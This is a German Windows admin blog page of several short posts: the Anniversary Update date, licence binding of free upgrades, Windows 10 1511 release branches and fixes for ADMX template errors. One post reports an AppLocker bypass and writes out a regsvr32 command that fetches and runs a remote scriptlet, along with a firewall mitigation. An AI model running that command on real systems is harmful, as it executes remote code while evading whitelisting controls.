Der Name “Anniversary Update” hatte es schon vermuten lassen, aber jetzt wurde der Erscheinungstermin von Windows 1607 durch Microsoft-Unterlagen bestätigt. Demnach erscheint das nächste große Windows 10 Update am 29. Juli 2016, also genau ein Jahr nach der Einführung von Windows 10. Das Datum wurde in einer Präsentation der WinHEC-Konferenz erwähnt.

Auf die Neuerungen des “Anniversary Updates” bin ich bereits in einem Artikel eingegangen.

Quelle: Microsoft / WinHEC Slides – Introduction of the New Universal Dev Center for Hardware

Das Sicherheitsfeature AppLocker wurde mit Windows 7 eingeführt (nur bei Enterprise bzw. Ultimate vorhanden) und kommt hauptsächlich in Unternehmen zum Einsatz. AppLocker ermöglicht die Steuerung von Anwendungen, App-Paketen, DLLs und Skripten. Damit lassen sich beispielsweise bestimmte Programme auf Black- oder Whitelists setzen. In letzter Zeit wird AppLocker auch häufig gegen Malware und Ransomware eingesetzt, um ungewünschte Aktivitäten auf Systemen zu blockieren. Allerdings wurde jetzt eine Schwachstelle bekannt, wie sich die AppLocker-Ausführungsregeln relativ leicht umgehen lassen.

Der Sicherheitsforscher Casey Smith hat eine Schwachstelle entdeckt, wobei AppLocker mit Hilfe des Befehlszeilenprogramms “Regsvr32” (Microsoft Register Server) ausgehebelt werden kann. Regsvr32 wird üblicherweise zum Registrieren von DLL-Dateien verwendet, was im Normalfall allerdings Administratorrechte erfordert. Jetzt kommt der spannende Punkt: Wenn man dem Register Server eine JavaScript- oder VBScript-Datei übergibt, wird diese ohne weitere Nachfrage ausgeführt. Auch AppLocker greift hierbei nicht und es werden auch keine Administratorrechte angefordert.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Mit dieser Technik lassen sich auch Skripte über HTTP oder HTTPS nachladen, da Regsvr32 auch URLs akzeptiert. Da keine Änderungen an der Registry durchgeführt werden, ist ein Missbrauch auch relativ schwer zu erkennen. Bei Github existiert ein Proof of Concept mit einigen Beispiel-Skripten.

Microsoft wurde bereits über das Problem informiert, hat sich aber noch nicht zu Wort gemeldet. Bis dahin kann “regsvr32.exe” über die Windows Firewall blockiert werden, sodass zumindest eine Ausführung über das Netzwerk verhindert werden kann.

Das erste große Update für Windows 10 ist am 12. November 2015 erschienen. Jetzt steht Windows 10 Version 1511 (Build 10586) im “Current Branch for Business” (CBB) für Geschäftskunden bereit. Damit ist das Feature-Update rund einen Monat später im CBB verfügbar, als eigentlich von Microsoft vorgesehen war. Die Roadmap von Microsoft sieht normalerweise vor, dass eine neue Version ca. vier Monate nach der Veröffentlichung im Current Branch (CB) in den CBB wandert, wo sie dann ca. acht Monate getestet werden kann. Insgesamt stehen also zwölf Monate zur Verfügung, bevor eine neue Version in der Produktivumgebung ausgerollt werden muss.

Alle Computer im Current Branch, bei denen die Update-Option “Upgrades zurückstellen” aktiviert ist, bekommen Windows 10 1511 in wenigen Tagen automatisch ausgerollt. Computer im CBB könnten dann zeitgleich auch auf Version 1511 gehoben werden. Allerdings werden die meisten Kunden hier vermutlich die achtmonatige Testphase nutzen, bevor sie das Update ausrollen. Wer die Frist jedoch verstreichen lässt, bekommt gar keine Updates mehr, auch keine Sicherheitsrelevanten. Wer nach insgesamt zwölf Monaten nicht updaten kann bzw. möchte, sollte auf den “Long Term Service Branch” wechseln, denn dort gibts bis zu zehn Jahre Updates, ohne ein Feature-Update einzuspielen.

Im Rahmen der heute gestarteten Entwicklerkonferenz Build 2016 hat Microsoft ein paar Informationen über das nächste Windows 10 Update veröffentlicht. Der offizielle Name lautet “Anniversary Update”. Die neue Version wurde bisher unter dem Codenamen “Redstone” entwickelt und soll im Sommer 2016 als kostenloses Update für Windows 10 erhältlich sein. Obwohl Microsoft noch keinen genauen Veröffentlichungstermin verlauten ließ, sprechen einige Quellen von Juli 2016. Außerdem gab Microsoft bekannt, dass Windows 10 mittlerweile auf über 270 Millionen Geräten installiert ist.

Das Anniversary Update wird für alle Geräte mit Windows 10 erscheinen. Neben PCs sowie Notebooks werden also auch Tablets, Smartphones, die Xbox One und die Microsoft HoloLens in den Genuss der neuen Version kommen. Die bisher angekündigten Neuerungen halten sich jedoch in Grenzen:

• Neue Features für Windows Hello (Anmeldung via biometrischen Daten soll auch in Apps und Microsoft Edge möglich sein)
• Windows Defender erlaubt nun automatisch periodische Schnellscans und zeigt erweiterte Benachrichtigungen an
• Windows Defender Advanced Threat Protection (WDATP)
• Windows Information Protection (ehemals Enterprise Data Protection) erlaubt Trennung von von persönlichen Daten und Unternehmensdaten
• Windows Ink: Verbesserte Eingabe per Stift (Stifteingabe mit Cortana verknüpft, neue Funktionen in Notizen-App, Kommentar-Funktion für Edge, Handschrifteingabe in Office, virtuelles Lineal, eigene Routen in Maps zeichnen)
• Cortana auch auf dem Sperrbildschirm neue Assistenz-Funktionen verfügbar
• Erweiterungen für Microsoft Edge, bessere Effizienz soll für längere Akkulaufzeit sorgen
• Universal Windows Platform (UWP) und Unified Windows Store
• Verbessertes Info-Center
• Minimales Ubuntu-System für Windows 10 bringt unter anderem native Unix-Shell Bash und Kommandozeilenwerkzeuge wie Emacs, …

Genaua Details über das Anniversary Update hat Microsoft noch nicht veröffentlicht. Im Laufe der nächsten zwei Tage sollten hier aber weitere Informationen folgen.

Die kostenlose Upgrademöglichkeit von Windows 7 oder Windows 8.1 auf Windows 10 ist noch bis 29. Juli 2016 verfügbar. Die Frist endet also in rund vier Monaten und mit dem kommenden Redstone-Update werden höchstwahrscheinlich nochmals einige Nutzer das Angebot annehmen. Dabei sollte einem aber klar sein, dass die dann installierte Windows 10 Version an die Hardware gebunden ist. Microsoft hatte diese Tatsache in der Vergangenheit zwar nicht so klar kommuniziert, allerdings konnte man dies schon vermuten. HT4U hat in einem Gespräch mit Microsoft nun die endgültige Bestätigung dafür erhalten.

Demnach sind alle Windows-10-Lizenzen, die durch das Kostenlosangebot erworben wurden, wie gewöhnliche OEM-Lizenzen zu behandeln. Eine Aufrüstung des Rechners ist dann nur noch bis zu einer gewissen Grenze möglich. Ein Austausch der Grafikkarte oder eine Aufrüstung des Arbeitsspeichers sind laut Aussage von Microsoft unproblematisch. Ebenso dürfte es auch beim Wechsel des Prozessors oder der Festplatte keine Probleme geben, auch wenn Microsoft sich hierzu nicht geäußert hat. Faktisch ist alles erlaubt außer ein Mainboardwechsel, der automatisch einem Lizenzverlust gleichzusetzen ist. Normal gekaufte Windows-10-Retail-Lizenzen sind von dieser Problematik natürlich nicht betroffen.

Spitzfindige Nutzer argumentieren jetzt sicherlich, dass in Deutschland OEM- wie Retail-Lizenzen zu behandeln sind und keine Hardwarebindung zulässig sei. Ich sehe das Ganze so, dass es sich um spezielle Upgrade-Lizenzen handelt, bei denen die aktuelle Rechtslage nicht klar auszulegen ist. Microsoft spricht von einer Windows-10-Lizenz “für die unterstützte Lebenszeit des Geräts bzw. der Hardware”. Bei einem Mainboardwechsel erlischt diese Lebenszeit, was übrigens auch nach der deutschen Rechtsprechung zulässig sein sollte. Im Zweifel werden aber sicherlich einige Klagen folgen und die Gerichte dann entscheiden müssen…

So wie es aktuell aussieht müssen Nutzer des kostenlosen Windows-10-Upgrades bei einem Mainboardwechsel entweder eine Retail-Lizenz von Windows 10 erwerben oder wieder ihr altes Windows 7 bzw. 8.1 installieren. Aber vielleicht lässt sich Microsoft bis zum 29. Juli 2016 noch eine Kompromisslösung einfallen. Die Hoffnung stirbt zuletzt.

Im Oktober 2015 hat Microsoft versprochen, dass zukünftig genauer kommuniziert werden soll, welche Änderungen und Fehlerbeseitigungen in den Windows 10 Updates stecken. Mit dem gestern veröffentlichten kumulativen Update KB3135173 für Windows 10 ist es nun so weit.

Auf der Seite Windows 10 update history ist ab sofort ein ausführliches Changelog inklusive aller Korrekturen und Änderungen verfügbar. In Zukunft werden dort Details zu jedem neuen Update erscheinen. Aktuell ist die Seite nur in Englisch verfügbar. Ob die Seite zukünftig auch in anderen Sprachen verfügbar sein wird ist derzeit nicht bekannt.

Mit Windows Vista bzw. Windows Server 2008 wurden die administrativen Templates für die Gruppenrichtlinien überarbeitet. Seitdem werden sie im XML-Format als ADMX-Datei bereitgestellt. Die dazugehörigen Sprachdateien stehen als ADML-Dateien zur Verfügung. Innerhalb einer Domäne werden die administrativen Vorlagen an einer zentralen Stelle auf den einzelnen Domain Controllern (DCs) abgelegt: “\\domain.fqdn\SYSVOL\domain.fqdn\Policies\PolicyDefinitions”. Dieser zentrale Speicherort wird im Englischen “Central Store” genannt. Durch dieses Feature wird die Pflege der administrativen Vorlagen deutlich vereinfacht, da der Central Store automatisch über alle DCs hinweg repliziert wird.

Sind jetzt neue administrative Templates verfügbar, beispielsweise beim Erscheinen einer neuen Windows-Version, müssen die alten Vorlagen in der Theorie nur mit den neuen Templates überschrieben werden. Doch in der Praxis funktioniert dies leider nicht immer so einfach. Beim Update der DCs mit den administrativen Templates von Windows 10 gibt es einige Ungereimtheiten und Fehler, die ich nachfolgend genauer beschreiben möchte.

Die administrativen Templates für Windows 10 können direkt bei Microsoft heruntergeladen werden. Neben der RTM-Version sind auch die Vorlagen von Windows 10 Version 1511 erhältlich. Mit der “Group Policy Settings Reference” Excel-Tabelle stellt Microsoft darüber hinaus eine Übersicht aller Gruppenrichtlinien zur Verfügung. Diese ist aktuell aber noch auf dem Stand von Windows 10 RTM, die Änderungen von Version 1511 sind noch nicht enthalten.

Administrative Templates Windows 10 RTM

Nach dem Einfügen der neuen administrativen Templates von Windows 10 RTM in den Central Store erscheint folgende Fehlermeldung:

Namespace ‘Microsoft.Policies.Sensors.WindowsLocationProvider’ is already defined as the target namespace for another file in the store.

File \\domain.fqdn\sysvol\domain.fqdn\Policies\PolicyDefinitions\Microsoft-Windows-Geolocation-WLPAdm.admx, line 5, column 110

Der Fehler wird durch eine umbenannte Vorlage verursacht, die jetzt zwei Mal vorhanden ist. Folgendermaßen kann der Fehler beseitigt werden:

• Die Windows-8-Vorlage “LocationProviderADM.admx” und die dazugehörige Sprachdatei “LocationProviderADM.adml” löschen
• Die Windows-10-Vorlage “Microsoft-Windows-Geolocation-WLPAdm.admx” zu “LocationProviderADM.admx” umbenennen.
• Die Windows-10-Sprachdatei von “Microsoft-Windows-Geolocation-WLPAdm.adml” in “LocationProviderADM.adml” umbenennen.

Auch Microsoft empfiehlt dieses Vorgehen.

Darüber hinaus kann zusätzlich der folgende Fehler auftreten:

Resource ‘$(string.SUPPORTED_Vista_through_Win7)’ referenced in attribute displayName could not be found.

File \\domain.fqdn\sysvol\domain.fqdn\Policies\PolicyDefinitions\PreviousVersions.admx, line 11, column 111.

Dieser wurd durch eine fehlende Übersetzung in der “PreviousVersions.adml” hervorgerufen. In der deutschen Übersetzung (Ordner “de-DE”) fehlt zwischen Zeile 56 und 57 eine Zeile. Zur Fehlerbehebung entweder die fehlende Zeile

<string id="SUPPORTED_Vista_through_Win7">Windows Vista durch Windows 7 unterstützt</string>

manuell einfügen oder die alte “PreviousVersions.adml” wiederherstellen. Alternativ kann auch die neue “PreviousVersions.adml” von Windows 10 Version 1511 genutzt werden, die ebenfalls wieder in Ordnung ist. Offensichtlich scheint diese Zeile auch bei ein paar anderen Sprachen zu fehlen.

Administrative Templates Windows 10 Version 1511

Der folgende Fehler lässt darauf schließen, dass offensichtlich auch hier eine administrative Vorlage umbenannt wurde.

Namespace ‘Microsoft.Policies.WindowsStore’ is already defined as the target namespace for another file in the store.

File \\domain.fqdn\sysvol\domain.fqdn\Policies\PolicyDefinitions\WinStoreUI.admx, line 4, column 80

Die schuldige Vorlage ist schnell erkannt: “WinStoreUI.admx” wurde in Version 1511 in “WindowsStore.admx” umbenannt.

• Die Windows-8-Vorlage “WinStoreUI.admx” und die dazugehörige Sprachdatei “WinStoreUI.adml” löschen
• Die Windows-10-Vorlage “WindowsStore.admx” zu “WinStoreUI.admx” umbenennen.
• Die Windows-10-Sprachdatei von “WindowsStore.adml” in “WinStoreUI.adml” umbenennen.

Bei Microsoft existiert noch kein Artikel über den Fehler, dafür aber z.B. hier.

OneDrive-Einstellungen wurden entfernt

Normalerweise müssen die alten administrativen Vorlagen einfach nur mit den neuen überschrieben werden. Dabei sollten alle bisher vorhandenen Einstellungen nach wie vor verfügbar sein. Auf zwei OneDrive-Einstellungen trifft dies jedoch nicht zu.

Bei den administrativen Templates von Windows 8.1 Update stehen folgende drei Einstellungen zur Verfügung:

Ab Windows 10 ist nur noch die Einstellung “Prevent the usage of OneDrive for file storage” vorhanden. Dieses Verhalten ist bei Microsoft nicht dokumentiert, wird aber z.B. hier oder hier erwähnt.